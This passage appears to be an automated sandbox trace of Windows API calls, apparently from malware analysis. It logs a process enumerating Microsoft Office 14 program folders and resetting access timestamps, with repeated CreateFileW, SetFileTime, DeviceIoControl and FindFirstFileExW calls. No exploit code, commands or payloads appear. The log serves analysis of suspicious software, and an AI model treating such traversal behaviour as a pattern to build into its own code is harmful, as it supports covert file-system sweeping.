ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.976] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.976] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.976] GetLastError () returned 0x12 [0069.976] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.976] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.976] GetLastError () returned 0x12 [0069.976] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.976] GetLastError () returned 0x12 [0069.976] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.979] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.980] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.980] GetLastError () returned 0x12 [0069.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.980] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.980] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.980] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.980] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.982] GetLastError () returned 0x12 [0069.982] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.982] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.982] GetLastError () returned 0x12 [0069.982] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.983] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.983] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.983] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.983] GetLastError () returned 0x12 [0069.983] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.984] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.984] GetLastError () returned 0x12 [0069.984] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.984] GetLastError () returned 0x12 [0069.984] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.985] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.985] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17aedb8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17aedb8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.987] GetLastError () returned 0x12 [0069.987] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.987] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.987] GetLastError () returned 0x12 [0069.987] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.988] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.988] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.988] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.990] GetLastError () returned 0x12 [0069.990] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.990] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.990] GetLastError () returned 0x12 [0069.990] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.991] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.991] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.994] GetLastError () returned 0x12 [0069.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.994] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.994] GetLastError () returned 0x12 [0069.994] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.996] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.996] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.998] GetLastError () returned 0x12 [0069.999] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0069.999] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.999] GetLastError () returned 0x12 [0069.999] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.000] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.000] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.000] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0070.002] GetLastError () returned 0x12 [0070.002] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.002] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.003] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.003] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.003] GetLastError () returned 0x12 [0070.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.003] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.003] GetLastError () returned 0x12 [0070.003] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.004] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.004] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.004] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.004] GetLastError () returned 0x12 [0070.004] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.004] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.004] GetLastError () returned 0x12 [0070.004] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.004] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.005] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.005] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.005] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.005] GetLastError () returned 0x12 [0070.005] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.005] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.005] GetLastError () returned 0x12 [0070.005] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.005] GetLastError () returned 0x12 [0070.005] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.005] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" (normalized: "c:\\program files\\microsoft office\\office14\\pubba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.006] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.006] DeviceIoControl (in: hDevice=0x18c, 